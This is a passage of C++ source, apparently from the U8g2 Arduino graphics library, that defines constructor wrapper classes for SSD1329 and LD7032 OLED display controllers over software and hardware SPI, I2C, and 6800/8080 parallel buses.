U8G2_SSD1329_128X96_NONAME_2_6800 : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_2_8080 : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_F_6800 : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_128X96_NONAME_F_8080 : public U8G2 {\n  public: U8G2_SSD1329_128X96_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_128x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_1_6800 : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_1_8080 : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_2_6800 : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_2_8080 : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_F_6800 : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1329_96X96_NONAME_F_8080 : public U8G2 {\n  public: U8G2_SSD1329_96X96_NONAME_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1329_96x96_noname_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_60x32_alt_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_LD7032_60X32_1_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_60X32_1_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_60X32_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_1_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_1_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_LD7032_60X32_2_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_60X32_2_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_60X32_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_2_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_2_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_60X32_ALT_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_ALT_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_alt_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_LD7032_60X32_F_SW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_LD7032_60X32_F_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ld7032_i2c_60x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_LD7032_60X32_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_LD7032_60X32_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    